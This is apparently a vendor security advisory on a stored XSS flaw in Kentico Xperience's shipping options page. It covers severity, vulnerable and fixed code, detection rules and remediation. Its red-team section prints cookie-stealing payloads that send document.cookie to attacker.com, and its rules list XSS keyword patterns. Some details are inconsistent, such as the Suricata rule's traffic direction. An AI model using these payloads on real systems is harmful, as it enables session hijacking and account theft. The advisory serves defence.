CVE-2024-58322

Executive Summary

CVE-2024-58322 is a stored cross-site scripting (XSS) vulnerability in Kentico Xperience, a .NET-based content management system. The flaw resides in the shipping options configuration module, allowing an authenticated attacker with administrative privileges to inject malicious scripts. When other administrators or users view the affected configuration page, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or data exfiltration. The vulnerability is currently unpatched, and no public exploit code or proof-of-concept is available. The CVSS score is 0.0 due to incomplete NVD data, but based on the description, the vector suggests a medium severity with a need for user interaction and low privileges.

Supply Chain & Package Security

This vulnerability is not related to an open-source package manager (NPM, PyPI, Go, Ruby). Kentico Xperience is a commercial .NET CMS distributed via proprietary channels. No supply chain impact is identified.

CVSS Breakdown & Threat Level

The CVSS vector string is derived from the vulnerability description: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N.

• Attack Vector (AV): Network – The vulnerability is exploitable remotely via the web interface.
• Attack Complexity (AC): Low – No special conditions are required beyond standard web access.
• Privileges Required (PR): Low – An attacker needs a valid account with permissions to modify shipping options.
• User Interaction (UI): Required – The victim must view the compromised shipping options page.
• Scope (S): Changed – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low – Limited data exposure (e.g., session tokens).
• Integrity (I): Low – Script injection can modify content in the victim’s browser.
• Availability (A): None – No direct denial-of-service impact.

Threat Level: Medium. The requirement for authenticated access and user interaction reduces the immediate risk, but the lack of a patch makes it a persistent threat for unhardened installations.

Deep Dive & Mechanics

The vulnerability exists in the shipping options configuration page of Kentico Xperience. The application fails to properly sanitize user-supplied input when saving shipping option details (e.g., name, description, or custom fields). When an administrator with the CMS.Admin role or equivalent modifies a shipping option, the input is stored in the database without encoding. Upon rendering the configuration page, the stored value is injected directly into the HTML without escaping, allowing arbitrary JavaScript execution.

Attack Flow:

1. Attacker authenticates as a user with permissions to manage shipping options.
2. Attacker navigates to the shipping options configuration page (e.g., /CMSModules/Shipping/ShippingOptions_Edit.aspx).
3. Attacker injects a payload into a text field, such as: <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>.
4. The payload is stored in the database.
5. When another administrator views the same shipping option, the script executes in their browser.
6. The attacker captures the victim’s session cookie or performs other malicious actions.

The root cause is the lack of output encoding in the server-side rendering logic. Kentico Xperience uses ASP.NET Web Forms, and the vulnerability likely stems from using Label.Text or Literal.Text without HttpUtility.HtmlEncode.

Vulnerable vs. Patched Code

Since no patch is available, the following illustrates the vulnerable pattern and a hypothetical fix.

Vulnerable Code (C# - ASP.NET Web Forms):

protected void Page_Load(object sender, EventArgs e)
{
    if (!IsPostBack)
    {
        // Assume shippingOptionName is retrieved from database
        string shippingOptionName = GetShippingOptionNameFromDB();
        lblShippingName.Text = shippingOptionName; // Direct assignment without encoding
    }
}

Patched Code (Hypothetical):

protected void Page_Load(object sender, EventArgs e)
{
    if (!IsPostBack)
    {
        string shippingOptionName = GetShippingOptionNameFromDB();
        lblShippingName.Text = HttpUtility.HtmlEncode(shippingOptionName); // Encode output
    }
}

The fix involves encoding the output using HttpUtility.HtmlEncode or using an ASP.NET control that auto-encodes (e.g., Literal with Mode="Encode").

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to a Kentico Xperience instance (version unknown).
• Valid credentials with permissions to modify shipping options (e.g., CMS.Admin role).

Steps:

1. Log in to the Kentico Xperience admin interface.
2. Navigate to Configuration > E-commerce > Shipping options.
3. Edit an existing shipping option or create a new one.
4. In the Display name or Description field, inject the following payload:

   <img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">
   

5. Save the shipping option.
6. Wait for another administrator to view the shipping options list or edit the same option.
7. The victim’s browser executes the payload, sending their cookies to the attacker’s server.

Alternative Payload (Stealthy):

<script>new Image().src='https://attacker.com/steal?cookie='+document.cookie;</script>

Blue Team

Detection:

• Monitor web application logs for unusual POST requests to shipping option endpoints (e.g., /CMSModules/Shipping/ShippingOptions_Edit.aspx).
• Look for payload patterns in request parameters: <script, onerror, onload, javascript:.
• Use a Web Application Firewall (WAF) to block common XSS payloads.

Hunting:

• Query the database for stored shipping option names/descriptions containing HTML tags:

  SELECT * FROM CMS_ShippingOption WHERE ShippingOptionDisplayName LIKE '%<%' OR ShippingOptionDescription LIKE '%<%'
  

• Review IIS logs for requests to /CMSModules/Shipping/ShippingOptions_Edit.aspx with suspicious query strings.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests to attacker-controlled domains from the Kentico server.
  • POST requests to /CMSModules/Shipping/ShippingOptions_Edit.aspx containing <script> or event handlers.
• File IOCs:
  • Modified database entries in the CMS_ShippingOption table with HTML/JavaScript content.
• Behavioral IOCs:
  • Unusual JavaScript execution in the context of the Kentico admin interface.
  • Session cookies being exfiltrated to external domains.

Detection Engineering

YARA Rule

rule CVE_2024_58322_XSS_Payload {
    meta:
        description = "Detects stored XSS payloads targeting Kentico Xperience shipping options"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-58322"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"']*["']?/i
        $xss3 = /onload\s*=\s*["']?[^"']*["']?/i
        $xss4 = /javascript\s*:\s*/i
    condition:
        any of ($xss*) and filesize < 10KB
}

Sigma Rule

title: Stored XSS in Kentico Xperience Shipping Options
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential stored XSS payloads in shipping option configuration requests
author: Valters IT
date: 2025-04-10
logsource:
    category: web
    product: iis
detection:
    selection:
        cs-uri-stem: '/CMSModules/Shipping/ShippingOptions_Edit.aspx'
        cs-method: 'POST'
    keywords:
        - '<script'
        - 'onerror='
        - 'onload='
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate use of HTML in shipping option descriptions (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-58322 Stored XSS in Kentico Xperience Shipping Options";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/CMSModules/Shipping/ShippingOptions_Edit.aspx"; http_uri;
    pcre:"/(<script|onerror=|onload=|javascript:)/i";
    sid:1000001;
    rev:1;
    reference:cve,2024-58322;
    priority:2;
)

Remediation & Mitigation

Immediate Actions:

1. Disable shipping options editing for non-essential users until a patch is available.
2. Implement input validation on the server side to reject HTML tags in shipping option fields.
3. Apply output encoding using HttpUtility.HtmlEncode in all custom code or overrides.
4. Use a WAF to block XSS payloads targeting the shipping options endpoint.

Long-Term Fix:

• Monitor Kentico’s official advisory channels for a security patch.
• Upgrade to a patched version once released.
• Conduct a code review of all admin-facing input fields for similar XSS vulnerabilities.

Workaround:

• Modify the CMS_ShippingOption table to strip HTML tags via a database trigger:

  CREATE TRIGGER trg_ShippingOption_Sanitize
  ON CMS_ShippingOption
  AFTER INSERT, UPDATE
  AS
  BEGIN
      UPDATE CMS_ShippingOption
      SET ShippingOptionDisplayName = dbo.fn_StripHTML(ShippingOptionDisplayName),
          ShippingOptionDescription = dbo.fn_StripHTML(ShippingOptionDescription)
      WHERE ShippingOptionID IN (SELECT ShippingOptionID FROM inserted)
  END
  

  (Note: Requires a custom fn_StripHTML function.)

Report generated by Valters IT DevSecOps & CTI Division